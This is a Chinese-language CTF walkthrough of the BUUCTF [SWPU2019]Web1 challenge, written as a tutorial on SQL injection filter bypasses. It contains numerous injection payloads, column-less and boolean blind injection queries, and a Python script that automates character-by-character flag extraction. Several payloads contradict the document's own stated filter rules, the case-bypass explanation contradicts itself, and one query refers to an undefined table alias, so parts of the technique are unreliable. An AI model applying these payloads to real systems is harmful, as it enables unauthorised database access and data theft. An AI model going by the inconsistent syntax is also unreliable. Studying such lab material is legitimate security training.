1. 项目概述与核心挑战
最近在复盘一些经典的CTF题目,特别是Web安全方向的,发现很多朋友对SQL注入的绕过技巧掌握得还不够扎实,往往知道原理,但一到实战就卡壳。今天我们就来深度拆解一道非常经典的题目——BUUCTF平台上的[SWPU2019]Web1。这道题之所以经典,是因为它几乎集合了SQL注入中常见的过滤与绕过场景,从基础的联合查询,到对关键函数、空格的过滤,再到最后的无列名注入,形成了一个完整的、递进式的学习路径。很多人在做到最后一步时,会因为对无列名注入不熟悉而功亏一篑。我自己在第一次做这道题时也踩了不少坑,尤其是在构造最后的布尔盲注Payload时,对IF语句和位运算的结合使用琢磨了很久。通过这道题,你不仅能巩固SQL注入的基础,更能深刻理解“绕过”二字的精髓:安全防护措施和攻击手法总是在动态博弈中不断进化的。
这道题模拟了一个简单的广告发布页面,核心漏洞点在于一个不起眼的广告列表查询功能。题目环境对常见的注入关键词进行了层层过滤,我们的任务就是像“特工”一样,利用各种“工具”和“技巧”,绕过这些安检门,最终拿到藏在数据库深处的flag。整个过程就像在解一个连环锁,每一层过滤都是一把新锁,我们需要找到对应的钥匙(绕过方法)。接下来,我会带你从信息搜集开始,一步步分析过滤规则,并手把手演示如何构造最终的注入Payload,其中会穿插大量我实战中总结的避坑经验和思维过程。
2. 环境初探与信息搜集
面对任何Web题目,第一步永远是信息搜集,盲目测试只会浪费时间。打开题目链接,我们通常会看到一个功能相对简单的页面。对于[SWPU2019]Web1,其主体是一个广告展示页,可能存在搜索、查看详情等交互点。我们的切入点往往在这些与数据库有交互的地方。
2.1 寻找注入点
首先,需要使用浏览器开发者工具(F12)查看网络请求,或者直接观察页面URL和表单。常见的注入点包括:
- GET参数:如
?id=1 - POST参数:如表单搜索框
- Cookie、User-Agent、X-Forwarded-For等HTTP头(较少见,但需有意识)
假设本题的注入点在类似于?id=1的GET参数上。第一步就是验证是否存在注入漏洞。最经典的方法是使用逻辑真值测试。
基础测试:
?id=1页面正常显示某条广告。?id=1 and 1=1如果页面依然正常,说明and和=可能未被过滤,且存在注入。?id=1 and 1=2如果页面内容消失或报错,则进一步确认存在数字型注入。如果页面无变化,则可能是字符型,需要测试闭合符号:?id=1' and '1'='1和?id=1' and '1'='2。
注意:在真实CTF或渗透测试中,请务必在授权范围内进行。这里的所有操作均在靶场环境完成。
实操心得:很多新手会忽略这一步,直接上工具或复杂Payload。手动进行基础测试有两个好处:一是建立对目标漏洞的“手感”,二是能最早发现一些基础的过滤规则(比如空格是否被过滤)。我习惯在Burp Suite的Repeater模块里做这些测试,方便观察和对比HTTP响应。
2.2 判断注入类型与初步过滤探测
经过测试,我们可能发现and、or、空格等关键词被拦截了。页面可能返回统一的错误信息,或者直接空白。这时,我们需要系统地探测过滤规则。
常用探测Payload:
?id=1(基准)?id=1 and 1=1(测试and和空格)?id=1 aandnd 1=1(测试是否简单替换and为空)?id=1%0aand%0a1=1(测试换行符%0a能否替代空格)?id=1/**/and/**/1=1(测试注释符/**/能否替代空格)?id=1'(测试单引号闭合与报错)
对于本题[SWPU2019]Web1,经典的特征是:它过滤了空格、*、=等字符,但and和or关键词本身可能没被过滤。这意味着我们不能使用and 1=1这种带有空格和等号的经典判断语句。
绕过思路1:使用注释符代替空格在MySQL中,/**/是内联注释,在大多数情况下可以被当作空格使用。所以1 and 1=1可以尝试写成1/**/and/**/1=1。但如果*也被过滤了,此路不通。
绕过思路2:使用其他空白符代替空格MySQL中,除了空格( ),以下字符通常也能起到分隔作用:
- 换行符:
%0a,%0d - 制表符:
%09 - 括号:
()有时可以用于包裹
我们可以尝试:?id=1%0aand%0a1%0a=1。但这里又遇到了=被过滤的问题。
绕过思路3:使用like、rlike、regexp或<>代替=当等号被过滤时,我们可以用其他比较操作符。
1=1可以改写为1 like 11=2可以改写为1 like 2或1<>1(不等于) 因此,测试Payload可以进化為:?id=1%0aand%0a1%0alike%0a1。
如果这个Payload返回正常页面,而1 like 2返回异常,那么恭喜,我们不仅确认了注入,还初步找到了绕过空格和等号过滤的方法。
3. 核心过滤规则分析与绕过策略制定
通过初步探测,我们对题目的过滤规则有了模糊的认识。现在需要更系统地进行测试,以绘制出完整的“过滤黑名单”。这一步是后续所有Payload构造的基础,必须严谨。
3.1 系统化测试过滤字符
我们可以设计一个测试脚本,或者手动在Burp Suite的Intruder模块中,对常见SQL注入字符进行fuzz测试。测试列表应包括:
空格, 单引号‘, 双引号“, 逗号,, 等号=, 大于>, 小于<, 括号(), 星号*, 点号., 分号;, 注释符#, --+, /* */, 关键字:union, select, from, where, order by, group by, limit, having, and, or, not, like, rlike, regexp, in, exists, ascii, substr, mid, left, right, length, count, concat, group_concat, sleep, benchmark, if, case when, information_schema测试方法:将原始参数(如id=1)与测试字符拼接,观察响应是否与基准响应(id=1)有显著差异(如长度不同、包含错误关键词等)。
对于本题,经过测试,我们可能会得出以下结论(这是该题的经典过滤设置):
- 空格被过滤:不能使用任何形式的空白字符(包括
%0a,%09,%0d等),但可以使用括号()进行局部绕过。 - 等号
=被过滤:比较操作必须使用like、rlike、regexp或<>。 - 星号
*被过滤:导致/**/注释符无法使用。 - 部分关键词被过滤:如
union、select、from、where等,但过滤方式可能是大小写敏感或简单匹配,这留给了我们绕过的机会。 information_schema被过滤:这意味着我们无法通过这个系统数据库来获取表名和列名,这是本题最大的难点,将我们引向“无列名注入”。
3.2 针对性绕过技术详解
基于以上规则,我们逐一制定绕过策略。
3.2.1 绕过空格过滤:巧用括号与注释既然所有空白符都被过滤,我们需要寻找不需要空格也能正确解析的SQL语法。
- 在函数名和参数之间:
select(1)是合法的,等同于select 1。我们可以利用这一点,将union select 1,2,3尝试改写为union(select(1),2,3)。但注意union和select本身可能被过滤。 - 在查询的更多部分:
from(table_name)也是可行的。关键在于将原本由空格分隔的语法单元,用括号包裹成一个整体或参数列表。
3.2.2 绕过等号过滤:使用like进行布尔判断=用于比较,我们可以用like完全替代。在布尔盲注中,substr(database(),1,1)='a'可以写成substr(database(),1,1)like'a'。注意,like后面紧跟的值如果是字符串,依然需要引号。
3.2.3 绕过关键词过滤:大小写、双写、等价替换
- 大小写绕过:如果过滤是大小写敏感的(如正则
/union/i),则UnIoN、UNION可能被拦截,但UnIoN可能绕过简单的str_replace。本题通常过滤了所有大小写变种。 - 双写绕过:如果过滤是简单的字符串替换(如
str_replace('union', '', $input)),那么输入ununionion,经过替换后,中间的union被移除,两边的字符拼起来又形成了union。需要测试union、select等关键词是否适用此规则。 - 等价关键词/函数替换:
mid()可以代替substr()limit 1,1可以用limit 1 offset 1绕过对逗号的过滤(但本题逗号可能可用)。- 当
information_schema被禁,我们需要使用mysql.innodb_table_stats等替代方案来猜解表名,或者直接进行无列名注入。
3.2.4 应对information_schema缺失:无列名注入这是本题最核心的考点。通常我们通过information_schema.columns查询列名。当此路不通时,无列名注入就派上用场了。 原理:通过union select将我们可控的数据插入查询结果集,然后通过别名或子查询来访问这些数据。 假设原查询返回3列,我们构造union select 1,2,3,那么结果集中第2、3列的值就是我们可控的2和3。 更进一步,我们可以:
union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3但这里information_schema被过滤。- 因此,我们需要先通过其他方式(如暴力猜解、错误注入报出表名)知道一个表名(假设为
users),然后通过无列名注入获取其数据。 假设我们猜出users表有id,username,password三列。传统方法是union select id,username,password from users。无列名注入则不需要知道列名:
解释:union select 1,(select `2` from (select 1,2,3 union select * from users)a limit 1,1),3- 子查询
(select 1,2,3 union select * from users)a创建了一个临时表a,其第一行是我们定义的1,2,3,后续行是users表的所有内容。 - 这个临时表
a的列名,第一列是1,第二列是2,第三列是3(由我们select 1,2,3定义)。 select2from ...就是从临时表a中选取名为2的列(即第二列)的数据。limit 1,1跳过第一行(我们定义的1,2,3),取第二行,即users表的第一行第二列数据。- 通过改变
limit的参数和选取的列名(`2`或`3`),我们可以逐行逐列地读出整个users表的数据,而无需知道其原始列名。
- 子查询
4. 完整注入利用链实战拆解
理论清晰后,我们开始实战拼接整个利用链。目标:获取数据库名、表名、列名(或绕过)、最终拿到flag。
4.1 第一步:确认字段数(Order By绕过)
在联合查询注入前,必须知道原查询的字段数。通常使用order by递增数字直到报错。
原始Payload:
?id=1 order by 1,order by 2,order by 3...绕过构造:
order和by可能被过滤,空格和逗号也可能被过滤。- 绕过空格:尝试用括号包裹数字
order(by(1))?不,order by是一个整体。更常见的做法是直接测试?id=1/**/order/**/by/**/1,但本题空格和*都被过滤。 - 本题的巧妙解法:由于可以使用
union select,我们可以通过不断递增union select后面的字段数来测试,直到页面正常回显。例如:?id=-1 union(select(1),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22)。 这里将id设为负值或一个不存在的值,使前半部分查询无结果,从而直接显示我们union select的结果。通过观察页面哪个数字被显示出来(比如页面显示了2和3),我们可以判断字段数,同时找到回显点。
假设我们测试发现
union(select(1),2,3)时,页面正常且数字2和3的位置显示了内容,而union(select(1),2,3,4)报错,那么字段数就是3,且第2、3列是回显点。- 绕过空格:尝试用括号包裹数字
4.2 第二步:获取数据库名与表名(绕过information_schema)
由于information_schema被禁,我们需要另辟蹊径。方法A:暴力猜解表名利用union select和like进行布尔盲注,猜解表名。这需要编写脚本,但原理简单。 Payload模板:?id=-1 union(select(1),(select(database())),3)可能直接回显数据库名。如果被过滤,则用子查询。 如果database()被过滤,可以尝试:?id=-1 union(select(1,(select(group_concat(table_name))from(mysql.innodb_table_stats)where(database_name)like(database())),3))
注意:
mysql.innodb_table_stats存储的是InnoDB表的统计信息,并非所有表都会在这里,尤其是题目自定义的非InnoDB表或新建表。因此这个方法不一定奏效。
方法B:利用错误注入报出信息(如果开启错误回显)如果网站开启了SQL错误回显,可以尝试使用updatexml()或extractvalue()函数进行报错注入。 Payload模板:?id=1 and updatexml(1,concat(0x7e,(select(database())),0x7e),1)但需要绕过空格和等号:?id=1%0aand%0aupdatexml(1,concat(0x7e,(select(database())),0x7e),1)。如果and和空格被过滤,构造会非常复杂,可能需要用||或&&代替and,并用括号调整优先级。
本题的常见情况:经过测试,可能会发现database()可以直接回显,或者通过简单的union select 1,database(),3就能在回显点看到数据库名(例如web1)。同时,通过类似union select 1,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),3的Payload被拦截,证实了information_schema被过滤。
那么,如何获取表名?可能需要结合布尔盲注和已知的替代路径。但更经典的解法是,题目设计者可能留下了一个“提示”表或flag表,其表名可以通过常见字典(如flag, f1ag, secrets, here_is_flag)猜解到。或者,在之前的步骤中,通过错误信息已经泄露了部分表名。
假设我们通过某种方式(如题目描述、其他页面的提示、暴力猜解)知道了存在一个名为flag的表。
4.3 第三步:无列名注入获取Flag内容
现在我们知道数据库名web1,表名flag,但不知道列名,且information_schema不可用。这就是无列名注入的舞台。
4.3.1 构造无列名注入Payload我们的目标是:从flag表中读取数据。假设原查询字段数是3,第2、3列可回显。
构造基础Payload,探测表内数据:
?id=-1 union(select(1),(select(group_concat(2))from(select(1),2,3 union(select(*)from(flag))a)),3)拆解:union(select(1),(...),3):联合查询,1和3占位,中间部分是我们想要回显的数据。- 中间部分:
(select(group_concat(2))from(...)a) - 子查询:
(select(1),2,3 union(select(*)from(flag))a)select(1),2,3:定义一个有3列的临时结果集,列名分别为1,2,3。union select(*)from(flag):将flag表的所有行合并到上面。- 最终这个子查询结果被命名为别名
a。a表的结构是:第一列名为1,第二列名为2,第三列名为3。
- 外层
select(group_concat(2))from(...)a:从a表中选择所有行的2列(即第二列),并用group_concat合并成一个字符串。 limit子句:为了逐行读取,我们可以在外层选择语句后加上limit。例如limit 0,1取第一行,limit 1,1取第二行。
但是,这个Payload里有几个问题:
*可能被过滤。- 逗号
,可能被过滤(在limit和group_concat参数中)。
4.3.2 处理逗号过滤如果逗号被过滤,将是雪上加霜。我们需要找到替代方案:
limit 0,1可以改写为limit 1 offset 0。这样就用offset关键字替代了逗号。substr(str,1,1)可以改写为substr(str from 1 for 1)。这是substr函数的另一种语法。group_concat(column)无法避免逗号,但如果我们不用group_concat,而是逐位读取,就可以避免。这正是我们接下来要做的布尔盲注。
4.3.3 最终Payload:基于布尔盲注的无列名注入由于直接回显所有数据的Payload可能因为*或group_concat被过滤而失败,我们退而求其次,采用布尔盲注,一位一位地猜解flag。 思路:
- 猜解
flag表第一行第一列数据的第一个字符。 - 利用
union创建一个临时表a,包含flag表数据。 - 通过
select1from a limit 1选取第一列数据(因为我们不知道列名,用我们定义的1作为列名)。 - 结合
substr和like,判断字符。
构造Payload:我们需要判断:flag表第一行第一列的第一个字符是否是'f'(假设flag格式为flag{xxx})。
?id=1 union(select(1),(select(1)from(select(1),2,3 union(select(*)from(flag))a where(substr((select(`1`)from(alias)limit(0)offset(0))from(1)for(1))like('f'))),3)逐层拆解(从内到外):
最内层子查询:
(select(1),2,3 union select(*)from(flag))a- 创建临时表
a,列名为1,2,3,数据包含flag表所有行。 - 如果
*被过滤,这里会失败。可能需要明确列数,如select col1,col2,col3 from flag,但我们不知道列名。如果知道列数(例如也是3列),可以尝试select 1,2,3 from flag?这会把flag表每行的所有列都变成1,2,3,丢失数据。此路不通。因此,*必须可用,或者题目设计时flag表只有一列,这样select *就是选择唯一的一列。这是本题的关键简化点:通常flag表只有一个flag列。那么select * from flag就是选择这一列数据。 - 临时表
a只有一列数据(来自flag表),但我们用select(1),2,3定义了3列,所以a表实际上有3列,第一列是flag数据(因为union要求列数一致,flag表的一列数据会对齐到第一列),第二、三列是2和3。所以flag数据在a表的1列。
- 创建临时表
中间层:
(select(1)from(a)limit(0)offset(0))- 从
a表中选择1列的数据。 limit 0 offset 0等价于limit 0,1,取第一行。用offset绕过可能的逗号过滤。
- 从
字符截取:
substr((...))from(1)for(1))- 截取上面查询结果的第1个字符。
- 使用
substr(str from pos for len)语法绕过逗号。
布尔判断:
... like('f')- 判断截取的字符是否像
'f'。如果为真,整个where子句成立,那么select(1)from(...)where(...)会返回1。 - 如果为假,
where子句不成立,该select查询结果为空。
- 判断截取的字符是否像
外层
union select:union(select(1),(select(1)from(...)where(...)),3)- 如果内层
where成立,则select(1)返回1,最终页面回显点(第2列)会显示数字1。 - 如果内层
where不成立,则select(1)结果为空,最终回显点可能显示为空或其他默认值。 - 通过观察页面回显点是否有
1,即可判断字符猜解是否正确。
- 如果内层
简化后的实战Payload(假设flag表仅一列,且列名未知):为了清晰,我们一步步构造,并处理所有过滤:
- 原查询:
?id=1 - 闭合与联合:
?id=-1' union - 选择字段:
union(select(1),2,3) - 嵌入盲注子查询:将
2替换为我们的盲注逻辑。 最终,一个测试第一个字符是否为'f'的Payload可能长这样:
?id=-1' union(select(1),(select(1)from(select(1),2,3 union(select(*)from(flag))a where(substr((select(`1`)from(a)limit(1)offset(0))from(1)for(1))like(0x66))),3)--+解释与技巧:
-1':使前一个查询无结果,并闭合可能的引号。0x66:是字符'f'的十六进制,避免使用引号(如果引号也被过滤)。--+:注释掉后续SQL,避免语法错误。- 如果页面在回显点
2的位置显示了1,说明第一个字符是'f'。 - 然后,我们修改
substr的from和for参数,以及like的值,即可逐位猜解出完整的flag。
5. 常见问题、调试技巧与自动化脚本
在实际操作中,你一定会遇到各种意想不到的问题。下面是我在多次实战中总结的排查清单和技巧。
5.1 常见问题排查表
| 问题现象 | 可能原因 | 排查思路与解决方案 |
|---|---|---|
| 页面返回统一错误页或空白 | 1. 关键词被过滤。 2. 语法错误导致查询失败。 3. 有WAF拦截。 | 1. 用极简Payload测试(如?id=1和?id=1'),确认基础注入点。2. 逐个添加SQL元素(如 and、空格、1=1),定位被过滤点。3. 尝试使用不同编码、注释符、空白符绕过。 |
union select后页面无变化,不回显数字 | 1. 字段数不对。 2. union或select被过滤。3. 前后查询类型不一致(如字符型 vs 数字型)。 | 1. 增加union select后的字段数,直到页面再次报错或正常。2. 测试 union和select的大小写、双写变体。3. 检查 id参数闭合,数字型无需引号,字符型需闭合引号并注释。 |
| 无列名注入Payload执行后报错或返回空 | 1. 临时表列名引用错误。 2. limit offset语法错误。3. *被过滤。4. 目标表列数与我们定义的 (1),2,3列数不一致。 | 1. 确认flag表列数。可通过order by或递增union select字段数直到与select * from flag匹配。2. 如果 *被过滤,且知道列数(如1列),可尝试select(1)from(flag),但这样数据会变成1。必须用*或真实列名。3. 仔细检查反引号 `的使用,在列名是数字时必须加反引号。 |
| 布尔盲注判断不准,页面状态无区别 | 1. 盲注逻辑为假时,子查询返回空,导致外层union select的对应字段为NULL,页面可能显示空白,与显示1有区别。2. 网站有统一错误处理,真/假都返回相同页面。 | 1. 使用length()函数判断响应内容长度差异,而不仅仅是看内容。2. 使用时间盲注 if(condition,sleep(5),1),但sleep可能被过滤。3. 检查 where子句逻辑,确保条件为假时子查询确实返回空集。 |
5.2 手工调试与Burp Suite技巧
- 使用Burp Suite的Repeater:这是你的主战场。将测试Payload发送到Repeater,可以方便地修改、重放、对比响应。重点关注响应长度(Length)和响应体中关键位置的内容。
- 对比响应:始终有一个“基准响应”(如
?id=1)。将注入Payload的响应与基准响应进行差异对比。Burp Suite的Comparer工具非常有用,可以高亮显示HTML内容的差异。 - 逐步构造:不要试图一次性写出最终Payload。从最简单的
?id=1开始,逐步添加union、select、括号、子查询等。每加一步,都观察响应是否如预期。如果出错,回退一步,思考原因。 - 利用错误信息:如果网站开启了SQL错误回显,充分利用它。错误信息往往会透露数据库结构、过滤规则等关键信息。故意构造错误语法(如不匹配的括号、未知函数)可能诱使数据库报错。
5.3 自动化脚本编写思路
对于布尔盲注,手工一位位猜解是不现实的,必须编写脚本。这里给出一个Python脚本的核心逻辑框架,使用requests库。
import requests import time url = "http://your_target_url/index.php" headers = {"User-Agent": "Mozilla/5.0"} # 假设我们已经知道最终的Payload模板,其中`{pos}`代表字符位置,`{char}`代表猜测的字符 payload_template = "-1' union(select(1),(select(1)from(select(1),2,3 union(select(*)from(flag))a where(substr((select(`1`)from(a)limit(1)offset(0))from({pos})for(1))like({char}))),3)--+" def check(payload): """发送Payload,检查页面中是否包含成功标志(例如回显点有'1')""" params = {'id': payload} try: r = requests.get(url, params=params, headers=headers, timeout=5) # 这里需要根据实际情况确定判断成功的条件 # 例如,如果成功时页面包含特定的字符串或数字 if 'something_that_indicates_true' in r.text: # 替换为实际的成功标识 return True else: return False except Exception as e: print(f"请求失败: {e}") return False def blind_injection(): flag = "" chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789{}_-!" # 可能的字符集 pos = 1 while True: found_char = None for char in chars: # 将字符转换为十六进制,避免引号 hex_char = f"0x{ord(char):02x}" # 构造Payload payload = payload_template.format(pos=pos, char=hex_char) print(f"Testing pos {pos}: char {char} -> {payload[:50]}...") if check(payload): found_char = char flag += char print(f"[+] Found: {flag}") break time.sleep(0.1) # 避免请求过快 if found_char is None: print(f"[-] No char found at position {pos}. Maybe end of flag.") break pos += 1 print(f"[*] Final flag: {flag}") if __name__ == "__main__": blind_injection()脚本关键点:
check()函数:这是核心,必须根据题目实际情况编写。成功条件可能是响应中包含数字1,或者响应长度与失败时不同。你需要先手动测试两个Payload(一个为真,一个为假),确定页面差异点,然后让脚本去判断这个差异。payload_template:需要你根据前面分析,构造出最终的、可用的布尔盲注Payload模板。chars:定义flag可能包含的字符集,可以根据常见flag格式调整。- 速率控制:
time.sleep()避免请求过快被屏蔽。
6. 总结与思维提升
通过这道[SWPU2019]Web1,我们完成了一次完整的、高强度的SQL注入绕过训练。从最初的注入点探测,到层层剥离过滤规则,最后运用无列名注入技术获取flag,每一步都考验着对SQL语法和数据库特性的理解。
这道题给我最深的体会是:绕过没有银弹,核心在于对“规则”的理解和“语法”的灵活运用。防火墙过滤空格,我们就用括号;过滤等号,我们就用like;过滤information_schema,我们就用无列名注入。攻击者的武器库是丰富的,关键在于你是否了解每一件武器的用途。
对于想深入Web安全的朋友,我建议:
- 夯实SQL基础:不仅仅是
select * from table,更要理解各种连接查询、子查询、联合查询、内置函数的用法和特性。MySQL、PostgreSQL、SQLite的语法差异也要了解。 - 建立绕过思维库:将常见的过滤场景(空格、引号、逗号、关键词、注释符)和对应的绕过方法整理成笔记。例如,绕过空格有
/**/、%0a、()、+(在某些DBMS中)等多种方式。 - 善用工具,但不依赖工具:Sqlmap很强大,但在复杂的过滤环境下往往失灵。手工注入能力能帮你理解原理,调试Payload。两者结合,先用手工理清思路和过滤规则,再用Sqlmap的
--tamper脚本尝试自动化。 - 关注新型漏洞与技巧:安全领域日新月异,新的数据库特性、框架行为都可能引入新的注入点或绕过方式。多打靶场(如BUUCTF、DVWA、SQLi-Labs),多阅读国内外安全研究文章,保持学习。
最后,在实战中,耐心和细心往往比技术更重要。一个括号的缺失、一个反引号的位置,都可能导致整个Payload失败。就像解这道题一样,静下心来,一步步分析,一层层绕过,最终拿到flag的那一刻,所有的调试和思考都是值得的。